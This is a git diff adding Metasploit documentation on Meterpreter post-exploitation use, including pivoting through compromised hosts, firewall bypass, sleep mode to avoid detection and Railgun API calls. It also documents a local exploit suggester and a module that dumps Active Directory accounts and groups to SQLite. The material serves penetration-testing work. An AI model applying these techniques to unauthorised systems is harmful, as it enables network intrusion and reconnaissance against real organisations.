+Combined with Meterpreter's keylogger, you have a very effective setup to capture the user's
+inputs.
+
+
+**Using the Python Extension**
+
+The Python extension allows you to use the remote machine's Python interpreter.
+
+To load the extension, at the Meterpreter prompt, do:
+
+```
+meterpreter > use python
+Loading extension python...success.
+```
+
+The most basic example of using the interpreter is the ```python_execute``` command:
+
+```
+meterpreter > python_execute "x = 'hello world'; print x"
+[+] Content written to stdout:
+hello world
+
+meterpreter >
+```
+
+Another way to execute Python code is from a local file by using the ```python_import``` command.
+
+To do this, first prepare for a Python script. This example should create a message.txt on the
+remote machine's desktop:
+
+
+```python
+import os
+
+user_profile = os.environ['USERPROFILE']
+
+f = open(user_profile + '\\Desktop\\message.txt', 'w+')
+f.write('hello world!')
+f.close()
+```
+
+And to run that with the command:
+
+```
+meterpreter > python_import -f /tmp/test.py
+[*] Importing /tmp/test.py ...
+[+] Command executed without returning a result
+meterpreter >
+```
+
+To learn more about the Python extension, please read this [wiki](https://github.com/rapid7/metasploit-framework/wiki/Python-Extension).
+
+**Network Pivoting**
+
+There are three mains ways that you can use for moving around inside a network:
+
+ - The route command in the msf prompt
+ - The route command in the the Meterpreter prompt
+ - The portfwd command
+
+***Routing through msfconsole***
+
+The route command from the msf prompt allows you connect to hosts on a different network through the compromised machine. You should be able to determine that by looking at the compromised machine's ipconfig:
+
+```
+[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.201:49182) at 2016-03-04 20:35:31 -0600
+
+meterpreter > ipconfig
+...
+Interface 10
+============
+Name : Intel(R) PRO/1000 MT Network Connection
+Hardware MAC : 00:0c:29:86:4b:0d
+MTU : 1472
+IPv4 Address : 192.168.1.201
+IPv4 Netmask : 255.255.255.0
+IPv6 Address : 2602:30a:2c51:e660::20
+IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
+IPv6 Address : 2602:30a:2c51:e660:44a:576e:3d2c:d765
+IPv6 Netmask : ffff:ffff:ffff:ffff::
+IPv6 Address : 2602:30a:2c51:e660:94be:567f:4fe7:5da7
+IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
+IPv6 Address : fe80::44a:576e:3d2c:d765
+IPv6 Netmask : ffff:ffff:ffff:ffff::
+
+...
+
+Interface 26
+============
+Name : VPN
+Hardware MAC : 00:00:00:00:00:00
+MTU : 1400
+IPv4 Address : 192.100.0.100
+IPv4 Netmask : 255.255.255.255
+
+...
+```
+
+The example above shows that we have a Meterpreter connection to 192.168.1.201. Let's call this box A, and it is connected to the 192.100.0.0/24 VPN network. As an attacker, we aren't connected to this network directly, but we can explore that network through box A.
+
+At the msf prompt, do:
+
+```
+msf exploit(handler) > route add 192.100.0.0 255.255.255.0 1
+[*] Route added
+```
+
+The ```1``` at the end of the route indicates the session ID, the payload that is used as a gateway to talk to other machines.
+
+So right now, we have a connection established to the VPN, and we should be able to connect to another machine from that network:
+
+```
+msf auxiliary(smb_version) > run
+
+[*] 192.100.0.101:445 - 192.100.0.101:445 is running Windows 2003 SP2 (build:3790) (name:SINN3R-QIXN9TA2) (domain:WORKGROUP)
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+msf auxiliary(smb_version) >
+```
+
+Another neat trick using route is that you can also bypass the compromised host's firewall this way. For example, if the host has HTTP open, but SMB is blocked by the firewall, you can try to compromise it via HTTP first. You'll need to use the route command to talk to SMB and then try to exploit SMB.
+
+***Routing through Meterpreter***
+
+The route command in Meterpreter allows you change the routing table that is on the target machine. The way it needs to be configured is similar to the route command in msfconsole.
+
+***Routing through the portfwd command***
+
+The portfwd command allows you to talk to a remote service like it's local. For example, if you are able to compromise a host via SMB, but are not able to connect to the remote desktop service, then you can do:
+
+```
+meterpreter > portfwd add –l 3389 –p 3389 –r > target host >
+```
+
+And that should allow you to connect to remote desktop this way on the attacker's box:
+
+```
+rdesktop 127.0.0.1
+```
+
+**Meterpreter Paranoid Mode**
+
+The paranoid mode forces the handler to be strict about which Meterpreter should be connecting to it, hence the name "paranoid mode".
+
+To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode).
+
+**Meterpreter Reliable Network Communication**
+
+Exiting Metasploit using ```exit -y``` no longer terminates the payload session like it used to. Instead, it will continue to run behind the scenes, attempting to connect back to Metasploit when an appropriate handler is available. If you wish to exit the session, make sure to ```sessions -K``` first.
+
+To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Reliable-Network-Communication).
+
+**Meterpreter Sleep Control**
+
+The sleep mode allows the payload on the target machine to be quiet for awhile, mainly in order to avoid suspicious active communication. It also provides better efficiency.
+
+It is very simple to use. At the Meterpreter prompt, simply do:
+
+```
+meterpreter > sleep 20
+```
+
+And that will allow Meterpreter to sleep 20 seconds, and will reconnect.
+
+To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Sleep-Control).
+
+**Meterpreter Stageless Mode**
+
+A stageless Meterpreter allows a more economical way to deliver the payload, for cases where a normal one would actually cost too much time and bandwidth in a penetration test. To learn more about this, [click on this](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode) to read more.
+
+To use the stageless payload, use ```windows/meterpreter_reverse_tcp``` instead.
+
+**Meterpreter Timeout Control**
+
+The timeout control basically defines the life span of Meterpreter. To configure it, use the
+```set_timeouts``` command:
+
+```
+meterpreter > set_timeouts
+Usage: set_timeouts [options]
+
+Set the current timeout options.
+Any or all of these can be set at once.
+
+OPTIONS:
+
+ -c Comms timeout (seconds)
+ -h Help menu
+ -t Retry total time (seconds)
+ -w Retry wait time (seconds)
+ -x Expiration timout (seconds)
+```
+
+To see the current timeout configuration, you can use the ```get_timeouts``` command:
+
+```
+meterpreter > get_timeouts
+Session Expiry : @ 2016-03-11 21:15:58
+Comm Timeout : 300 seconds
+Retry Total Time: 3600 seconds
+Retry Wait Time : 10 seconds
+```
+
+To learn more about timeout control, please [go here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Timeout-Control).
+
+**Meterpreter Transport Control**
+
+Transport Control allows you manage transports on the fly while the payload session is still running. Meterpreter can automatically cycle through the transports when communication fails, or you can do it manually.
+
+To learn more about this, please read this [documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control).
+
+## Using the Post Exploitation API in IRB
+
+To enter IRB, do the following at the Meterpreter prompt:
+
+```
+meterpreter > irb
+[*] Starting IRB shell
+[*] The 'client' variable holds the meterpreter client
+
+>>
+```
+
+**The client object**
+
+The client object in Meterpreter's IRB allows you control or retrieve information about the host. For example, this demonstrates how to obtain the current privilege we're running the payload as:
+
+```ruby
+>> client.sys.config.getuid
+```
+
+To explore the client object, there are a few tricks. For example, you can use the #inspect method to inspect it:
+
+```
+>> client.inspect
+```
+
+You can use the #methods method to see what methods you can use:
+
+```
+>> client.methods
+```
+
+To find the source of the method, you can use the #source_location method. For example, say I want to find the source code for the #getuid method:
+
+```
+>> client.sys.config.method(:getuid).source_location
+=> ["/Users/user/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]
+```
+
+The first element of the array is the location of the file. The second element is the line number of the method.
+
+**Using Railgun**
+
+Railgun allows you to use the remote machine's Windows API in Ruby. For example, to create a MessageBox on the target machine, do:
+
+```
+>> client.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
+=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1}
+```
+
+To learn more about using Railgun, please read this [wiki](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Railgun-for-Windows-post-exploitation).
+
diff --git a/documentation/modules/post/multi/recon/local_exploit_suggester.md b/documentation/modules/post/multi/recon/local_exploit_suggester.md
new file mode 100644
index 0000000000..89d54765bb
--- /dev/null
+++ b/documentation/modules/post/multi/recon/local_exploit_suggester.md
@@ -0,0 +1,31 @@
+The Local Exploit Suggester is a post-exploitation module that you can use to check a system for local vulnerabilities. It performs local exploit checks; it does not actually run any exploits, which is useful because this means you to scan a system without being intrusive. In addition to being stealthy, it's a time saver. You don't have to manually search for local exploits that will work; it'll show you which exploits the target is vulnerable to based on the system's platform and architecture.
+
+The Local Exploit Suggester is available for Python, PHP, and Windows Meterpreter.
+
+
+## Vulnerable Application
+
+To use the Local Exploit Suggester:
+
+* You must have an open Meterpreter session.
+
+## Verification Steps
+
+Please see the Overview section.
+
+##Options
+
+You can set the following options for the Local Exploit Suggester:
+
+* **showdescription** - Set this option to true to see more details about each exploit.
+
+
+## Scenarios
+
+When the Local Exploit Suggester runs, it displays a list of local exploits that the target may be vulnerable to, and it tells you the likelihood of exploitation.
+
+The following terms are used to help you understand how vulnerable a target is to a particular exploit:
+
+* **Vulnerable** - Indicates that the target is vulnerable.
+* **Appears** - Indicates that the target may be vulnerable based on the file version, but the vulnerable code has not been tested.
+* **Detected** - Indicates that the target has the file, but it cannot be determined whether or not the target is vulnerable.
\ No newline at end of file
diff --git a/documentation/modules/post/windows/gather/ad_to_sqlite.md b/documentation/modules/post/windows/gather/ad_to_sqlite.md
new file mode 100644
index 0000000000..e6c0321023
--- /dev/null
+++ b/documentation/modules/post/windows/gather/ad_to_sqlite.md
@@ -0,0 +1,521 @@
+This is a post exploitation module which has the effect of copying the AD groups, user membership
+(taking into account nested groups), user information and computers to a local SQLite database.
+This is particularly useful for red teaming and simulated attack engagements because it offers
+the ability to gain situational awareness of the target's domain completely offline. Examples of
+queries that can be run locally include:
+
+* Identification of members in a particular group (e.g. 'Domain Admins'), taking into account
+ members of nested groups.
+* Organizational hierarchy information (if the manager LDAP attribute is used).
+* Ability to determine group membership and user membership (e.g. 'What groups are these users a
+ member of?', 'What users are members of these groups?', 'List all members who are effectively
+ members of the Domain Admins group who are not disabled' etc)
+* Expansion of the userAccountControl and sAMAccountType variables for querying ease.
+* Generation of a list of DNS hostnames, computer names, operating system versions etc of each
+ domain joined computer.
+* Identification of security groups that have managers.
+* Exporting anything above in different formats, including those which can be imported into
+ other tools.
+
+## Mechanism
+
+This module makes heavy usage of ADSI and performs the following basic steps:
+
+**User and group acquisition**
+
+* Perform an ADSI query to list all active directory groups and store them in the local ad_groups
+ table (parsing attributes which contain flags).
+* Loop through them and, for each group, launch another LDAP query to list the effective members of
+ the group (using the LDAP_MATCHING_RULE_IN_CHAIN OID). The effect is that it will reveal all
+ effective members of that group, even if they are not direct members of the group.
+* For each user, perform another query to obtain user specific attributes and insert them into the
+ local ad_users table.
+* Insert a new row into the ad_mapping table associating the user RID with the group RID.
+
+**Computer acquisition**
+
+* Perform an ADSI query to list all computers in the domain.
+* Parse any attributes containing flags (userAccountControl, sAMAccountType) and insert them into
+ the local ad_computers table.
+
+## Module Specific Options
+
+Option | Purpose
+--------------- | --------
+GROUP_FILTER | Additional LDAP filters to apply when building the initial list of groups.
+SHOW_COMPUTERS | If set to TRUE, this will write a line-by-line list of computers, in the format: ```Computer [Name][DNS][RID]``` to the console. For example: ```Computer [W2K8DC][W2K8DC.goat.stu][1000]```
+SHOW_USERGROUPS | If set to TRUE, this will write a line-by-line list of user to group memberships, in the format: ```Group [Group Name][Group RID] has member [Username][User RID]```. For example: ```Group [Domain Users][513] has member [it.director][1132]```. This can be used mainly for progress, but it may be simpler to cat and grep for basic queries. However, the real power of this module comes from the ability to rapidly perform queries against the SQLite database.
+
+## SQLite Database
+
+**Construction**
+
+The following tables will be present in the local SQLite database. The ad_* tables use the RID of
+the user, computer or group as the primary key, and the view_mapping table effectively joins the
+ad_mapping table with ad_users.* and ad_groups.* by RID.
+
+Note that the purpose of the less obvious flags is documented in the source code, along with
+references to MSDN and Technet where appropriate, so this can be easily looked up during an
+engagement without needing to refer to this page.
+
+Table Name | Purpose
+------------ | --------
+ad_computers | Information on each of the domain joined computers.
+ad_users | Information on each of the domain users.
+ad_groups | Information on each of the active directory groups.
+ad_mapping | Links the users table to the groups table (i.e. can be used to show which users are effectively members of which groups).
+view_mapping | Joins the ad_mapping table to the ad_users and ad_groups table, provided for convenience. This will be the table that most queries will be run against.
+
+Within each table, the naming convention for the columns is to prefix anything in the
+ad_computers table with c_, anything in the ad_users table with u_ and anything in the
+ad_groups table with g_. This convention makes the joins between tables much more intuitive.
+
+**ad_computers**
+
+The table below shows the columns in the ad_computers table. The fields in capitals at the end
+(c_ADS_* and c_SAM_*) are expanded from the userAccountControl and sAMAccountType attributes to
+provide an easy way to perform the queries against individual flags.
+
+Column Name | Type | Purpose
+------------------------------------------------ | ------- | --------
+c_rid | INTEGER | The relative identifier which is derived from the objectSid (i.e. the last group of digits).
+c_distinguishedName | TEXT | The main 'fully qualified' reference to the object. See [Distinguished Names](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366101%28v=vs.85%29.aspx).
+c_cn | TEXT | The name that represents an object. Used to perform searches.
+c_sAMAccountType | INTEGER | This attribute contains information about every account type object. As this can only have one value, it would be more efficient to implement a lookup table for this, but I have included individual flags simply for consistency.
+c_sAMAccountName | TEXT | The logon name used to support clients and servers running earlier versions of the operating system.
+c_dNSHostName | TEXT | The name of computer, as registered in DNS.
+c_displayName | TEXT | The display name for an object. This is usually the combination of the users first name, middle initial, and last name.
+c_logonCount | INTEGER | The number of times the account has successfully logged on. A value of 0 indicates that the value is unknown.
+c_userAccountControl | INTEGER | Flags that control the behavior of the user account. See [Use-Account-Control attribute](https://msdn.microsoft.com/en-us/library/windows/desktop/ms680832%28v=vs.85%29.aspx) for a description, but they are also parsed and stored in the c_ADS_UF_* columns below.
+c_primaryGroupID | INTEGER | Contains the relative identifier (RID) for the primary group of the user. By default, this is the RID for the Domain Users group.
+c_badPwdCount | INTEGER | The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.
+c_description | TEXT | Contains the description to display for an object.
+c_comment | TEXT | The user's comment. This string can be a null string. Sometimes passwords or sensitive information can be stored here.
+c_operatingSystem | TEXT | The Operating System name, for example, Windows Vista Enterprise.
+c_operatingSystemServicePack | TEXT | The operating system service pack ID string (for example, SP3).
+c_operatingSystemVersion | TEXT | The operating system version string, for example, 4.0.
+c_whenChanged | TEXT | The date when this object was last changed. This value is not replicated and exists in the global catalog.
+c_whenCreated | TEXT | The date when this object was created. This value is replicated and is in the global catalog.
+c_ADS_UF_SCRIPT | INTEGER | If 1, the logon script is executed.
+c_ADS_UF_ACCOUNTDISABLE | INTEGER | If 1, the user account is disabled.
+c_ADS_UF_HOMEDIR_REQUIRED | INTEGER | If 1, the home directory is required.
+c_ADS_UF_LOCKOUT | INTEGER | If 1, the account is currently locked out.
+c_ADS_UF_PASSWD_NOTREQD | INTEGER | If 1, no password is required.
+c_ADS_UF_PASSWD_CANT_CHANGE | INTEGER | If 1, the user cannot change the password.
+c_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED | INTEGER | If 1, the user can send an encrypted password.
+c_ADS_UF_TEMP_DUPLICATE_ACCOUNT | INTEGER | If 1, this is an account for users whose primary account is in another domain. This account provides user access to this domain, but not to any domain that trusts this domain. Also known as a local user account.
+c_ADS_UF_NORMAL_ACCOUNT | INTEGER | If 1, this is a default account type that represents a typical user.
+c_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT | INTEGER | If 1, this is a permit to trust account for a system domain that trusts other domains.
+c_ADS_UF_WORKSTATION_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a computer that is a member of this domain.
+c_ADS_UF_SERVER_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a system backup domain controller that is a member of this domain.
+c_ADS_UF_DONT_EXPIRE_PASSWD | INTEGER | If 1, the password for this account will never expire.
+c_ADS_UF_MNS_LOGON_ACCOUNT | INTEGER | If 1, this is an MNS logon account.
+c_ADS_UF_SMARTCARD_REQUIRED | INTEGER | If 1, the user must log on using a smart card.
+c_ADS_UF_TRUSTED_FOR_DELEGATION | INTEGER | If 1, the service account (user or computer account), under which a service runs, is trusted for Kerberos delegation. Any such service can impersonate a client requesting the service.
+c_ADS_UF_NOT_DELEGATED | INTEGER | If 1, the security context of the user will not be delegated to a service even if the service account is set as trusted for Kerberos delegation.
+c_ADS_UF_USE_DES_KEY_ONLY | INTEGER | If 1, restrict this principal to use only Data Encryption Standard (DES) encryption types for keys.
+c_ADS_UF_DONT_REQUIRE_PREAUTH | INTEGER | If 1, this account does not require Kerberos pre-authentication for logon.
+c_ADS_UF_PASSWORD_EXPIRED | INTEGER | If 1, the user password has expired. This flag is created by the system using data from the Pwd-Last-Set attribute and the domain policy.
+c_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION | INTEGER | If 1, the account is enabled for delegation. This is a security-sensitive setting; accounts with this option enabled should be strictly controlled. This setting enables a service running under the account to assume a client identity and authenticate as that user to other remote servers on the network.
+c_SAM_DOMAIN_OBJECT | INTEGER | See [SAM-Account-Type](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637%28v=vs.85%29.aspx) attribute. If 1, this flag is set.
+c_SAM_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+c_SAM_NON_SECURITY_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+c_SAM_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+c_SAM_NON_SECURITY_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+c_SAM_USER_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+c_SAM_NORMAL_USER_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+c_SAM_MACHINE_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+c_SAM_TRUST_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+c_SAM_APP_BASIC_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+c_SAM_APP_QUERY_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+c_SAM_ACCOUNT_TYPE_MAX | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+
+**ad_users**
+
+The table below shows the columns in the ad_computers table. The fields in capitals at the end
+(c_ADS_* and c_SAM_*) are expanded from the userAccountControl and sAMAccountType attributes to
+provide an easy way to perform the queries against individual flags.
+
+Column Name | Type | Purpose
+------------------------------------------------| ------- | -------
+u_rid | INTEGER | The relative identifier which is derived from the objectSid (i.e. the last group of digits).
+u_distinguishedName | TEXT | The main 'fully qualified' reference to the object. See [Distinguished Names](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366101%28v=vs.85%29.aspx).
+u_cn | TEXT | The name that represents an object. Used to perform searches.
+u_sAMAccountType | INTEGER | This attribute contains information about every account type object. As this can only have one value, it would be more efficient to implement a lookup table for this, but I have included individual flags simply for consistency.
+u_sAMAccountName | TEXT | The logon name used to support clients and servers running earlier versions of the operating system.
+u_dNSHostName | TEXT | The name of computer, as registered in DNS.
+u_displayName | TEXT | The display name for an object. This is usually the combination of the users first name, middle initial, and last name.
+u_logonCount | INTEGER | The number of times the account has successfully logged on. A value of 0 indicates that the value is unknown.
+u_userPrincipalName | TEXT | Technically, this is an Internet-style login name for a user based on the Internet standard RFC 822. By convention and in practice, it is the user's e-mail address.
+u_displayName | TEXT | N/A
+u_adminCount | INTEGER | Indicates that a given object has had its ACLs changed to a more secure value by the system because it was a member of one of the administrative groups (directly or transitively).
+u_userAccountControl | INTEGER | Flags that control the behavior of the user account. See [User-Account-Control](https://msdn.microsoft.com/en-us/library/windows/desktop/ms680832%28v=vs.85%29.aspx) for a description, but they are also parsed and stored in the c_ADS_UF_* columns below.
+u_primaryGroupID | INTEGER | Contains the relative identifier (RID) for the primary group of the user. By default, this is the RID for the Domain Users group.
+u_badPwdCount | INTEGER | The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.
+u_description | TEXT | Contains the description to display for an object.
+u_title | TEXT | Contains the user's job title. This property is commonly used to indicate the formal job title, such as Senior Programmer, rather than occupational class.
+u_manager | TEXT | The distinguished name of this user's manager.
+u_comment | TEXT | The user's comment. This string can be a null string. Sometimes passwords or sensitive information can be stored here.
+u_whenChanged | TEXT | The date when this object was last changed. This value is not replicated and exists in the global catalog.
+u_whenCreated | TEXT | The date when this object was created. This value is replicated and is in the global catalog.
+u_ADS_UF_SCRIPT | INTEGER | If 1, the logon script is executed.
+u_ADS_UF_ACCOUNTDISABLE | INTEGER | If 1, the user account is disabled.
+u_ADS_UF_HOMEDIR_REQUIRED | INTEGER | If 1, the home directory is required.
+u_ADS_UF_LOCKOUT | INTEGER | If 1, the account is currently locked out.
+u_ADS_UF_PASSWD_NOTREQD | INTEGER | If 1, no password is required.
+u_ADS_UF_PASSWD_CANT_CHANGE | INTEGER | If 1, the user cannot change the password.
+u_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED | INTEGER | If 1, the user can send an encrypted password.
+u_ADS_UF_TEMP_DUPLICATE_ACCOUNT | INTEGER | If 1, this is an account for users whose primary account is in another domain. This account provides user access to this domain, but not to any domain that trusts this domain. Also known as a local user account.
+u_ADS_UF_NORMAL_ACCOUNT | INTEGER | If 1, this is a default account type that represents a typical user.
+u_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT | INTEGER | If 1, this is a permit to trust account for a system domain that trusts other domains.
+u_ADS_UF_WORKSTATION_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a computer that is a member of this domain.
+u_ADS_UF_SERVER_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a system backup domain controller that is a member of this domain.
+u_ADS_UF_DONT_EXPIRE_PASSWD | INTEGER | If 1, the password for this account will never expire.
+u_ADS_UF_MNS_LOGON_ACCOUNT | INTEGER | If 1, this is an MNS logon account.
+u_ADS_UF_SMARTCARD_REQUIRED | INTEGER | If 1, the user must log on using a smart card.
+u_ADS_UF_TRUSTED_FOR_DELEGATION | INTEGER | If 1, the service account (user or computer account), under which a service runs, is trusted for Kerberos delegation. Any such service can impersonate a client requesting the service.
+u_ADS_UF_NOT_DELEGATED | INTEGER | If 1, the security context of the user will not be delegated to a service even if the service account is set as trusted for Kerberos delegation.
+u_ADS_UF_USE_DES_KEY_ONLY | INTEGER | If 1, restrict this principal to use only Data Encryption Standard (DES) encryption types for keys.
+u_ADS_UF_DONT_REQUIRE_PREAUTH | INTEGER | If 1, this account does not require Kerberos pre-authentication for logon.
+u_ADS_UF_PASSWORD_EXPIRED | INTEGER | If 1, the user password has expired. This flag is created by the system using data from the Pwd-Last-Set attribute and the domain policy.
+u_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION | INTEGER | If 1, the account is enabled for delegation. This is a security-sensitive setting; accounts with this option enabled should be strictly controlled. This setting enables a service running under the account to assume a client identity and authenticate as that user to other remote servers on the network.
+u_SAM_DOMAIN_OBJECT | INTEGER | See [SAM-Account-Type](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637%28v=vs.85%29.aspx). If 1, this flag is set.
+u_SAM_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+u_SAM_NON_SECURITY_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+u_SAM_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+u_SAM_NON_SECURITY_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+u_SAM_USER_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+u_SAM_NORMAL_USER_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+u_SAM_MACHINE_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+u_SAM_TRUST_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+u_SAM_APP_BASIC_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+u_SAM_APP_QUERY_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+u_SAM_ACCOUNT_TYPE_MAX | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+
+**ad_groups**
+
+The table below shows the columns in the ad_groups table.
+
+Column Name | Type | Purpose
+--------------------------------| ------- | -------
+g_rid | INTEGER | The relative identifier which is derived from the objectSid (i.e. the last group of digits).
+g_distinguishedName | TEXT | The main 'fully qualified' reference to the object. See [Distinguished Names](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366101%28v=vs.85%29.aspx).
+g_sAMAccountType | INTEGER | This attribute contains information about every account type object. As this can only have one value, it would be more efficient to implement a lookup table for this, but I have included individual flags simply for consistency.
+g_sAMAccountName | TEXT | The logon name used to support clients and servers running earlier versions of the operating system.
+g_adminCount | INTEGER | Indicates that a given object has had its ACLs changed to a more secure value by the system because it was a member of one of the administrative groups (directly or transitively).
+g_description | TEXT | Contains the description to display for an object.
+g_comment | TEXT | The user's comment. This string can be a null string. Sometimes passwords or sensitive information can be stored here.
+g_whenChanged | TEXT | The date when this object was last changed. This value is not replicated and exists in the global catalog.
+g_whenCreated | TEXT | The date when this object was created. This value is replicated and is in the global catalog.
+g_managedby | TEXT | The manager of this group.
+g_cn | TEXT | The common name of the group.
+g_groupType | INTEGER | Contains a set of flags that define the type and scope of a group object. These are expanded in the g_GT_* fields below.
+g_GT_GROUP_CREATED_BY_SYSTEM | INTEGER | If 1, this is a group that is created by the system.
+g_GT_GROUP_SCOPE_GLOBAL | INTEGER | If 1, this is a group with global scope.
+g_GT_GROUP_SCOPE_LOCAL | INTEGER | If 1, this is a group with domain local scope.
+g_GT_GROUP_SCOPE_UNIVERSAL | INTEGER | If 1, this is a group with universal scope.
+g_GT_GROUP_SAM_APP_BASIC | INTEGER | If 1, this specifies an APP_BASIC group for Windows Server Authorisation Manager.
+g_GT_GROUP_SAM_APP_QUERY | INTEGER | If 1, this specifies an APP_QUERY group for Windows Server Authorisation Manager.
+g_GT_GROUP_SECURITY | INTEGER | If 1, this specifies a security group.
+g_GT_GROUP_DISTRIBUTION | INTEGER | If 1, this specifies a distribution group (this is the inverse of g_GT_GROUP_SECURITY). I have included it so that distribution groups can be identified more easily (query readability).
+g_SAM_DOMAIN_OBJECT | INTEGER | See [SAM-Account-Type](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637%28v=vs.85%29.aspx). If 1, this flag is set.
+g_SAM_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+g_SAM_NON_SECURITY_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+g_SAM_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+g_SAM_NON_SECURITY_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+g_SAM_USER_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+g_SAM_NORMAL_USER_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+g_SAM_MACHINE_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+g_SAM_TRUST_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+g_SAM_APP_BASIC_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+g_SAM_APP_QUERY_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+g_SAM_ACCOUNT_TYPE_MAX | INTEGER | If 1, this flag is set (sAMAccountType attribute).
+
+**ad_mapping**
+
+The table below shows the columns in the ad_mapping table. This is used to link users to groups.
+
+Column Name | Type | Purpose
+------------| ------- | -------
+user_rid | INTEGER | The RID of a user
+group_rid | INTEGER | The RID of a group
+
+For example, if a particular record had a user_rid of 1000 and a group_rid of 1001, this would
+imply that the user whose RID is 1000 is a member of the group whose RID is 1001. Use the
+view_mapping view in order to do any meaningful queries, but its content is derived from this one.
+
+**view_mapping**
+
+This table is a combination of ad_groups.* and ad_users.*. Therefore, the fields are the
+combination of the u_* and the g_* fields shown above.
+
+## Database Structure
+
+There are a few design choices that I have deliberately made which I have given an explanation for
+below. This is because the reasons for them may not be obvious.
+
+The users, groups and computers are based on the same class, so the "proper" way to do this would
+be to place them all into one table and then restrict results based on sAMAccountType to determine
+what type of object it is. In addition, the userAccountControl and sAMAccountType and groupType
+attributes have been split out into individual columns which is, from a technical point of view,
+unnecessary duplication.
+
+The reason for this is ease of use; we are much more intuitively familiar with users, groups and
+computers being different objects (even if they are all really the same thing), and it is much
+easier to understand and formulate a query such as:
+
+```
+SELECT u_sAMAccountName from ad_users where u_ADS_UF_LOCKOUT = 0 and u_SAM_NORMAL_USER_ACCOUNT = 1
+```
+
+than:
+
+```
+SELECT u_sAMAccountName from ad_users where ((u_userAccountControl&0x00000010) = 0) and ((u_sAMAccountType&0x30000000) > 0)
+```
+
+This is also true of the sAMAccountType value; this is a code which has a 1:1 mapping with MSDN
+constants (i.e. they are not flags) and it would be more efficient to implement a simple lookup table.
+However, for consistency, I have implemented the columns for the possible values in the same way as
+the attributes which comprise multiple values in the form of flags.
+
+This database is designed for quick-and-dirty queries, not to be an efficient AD database, and the
+benefits of the ease of access significantly outweighs the slight performance impact.
+
+## Conversion to Unicode
+
+All of the strings injected into the database have been converted to UTF-8 (encode('UTF-8')) which,
+at first glance, does not seem necessary. The reason is documented [here](https://github.com/rails/rails/issues/1965);
+namely that SQLite stores Unicode strings as 'text' but non-converted strings as 'blobs' regardless
+of the type affinity. Omitting the unicode conversion meant that most of the text queries did not
+work properly because the database was treating the text fields as raw binary data.
+
+## Multi valued attributes
+
+With the exception of the memberOf attribute, it is assumed that other attributes are single
+valued, which may result in a small about of information being missed. For example, the
+description attribute can (in some circumstances) be multi-valued but the ADSI queries will only
+return the first value.
+
+This will not make any practical difference for the vast majority of enterprise domains.
+
+## Database Queries
+
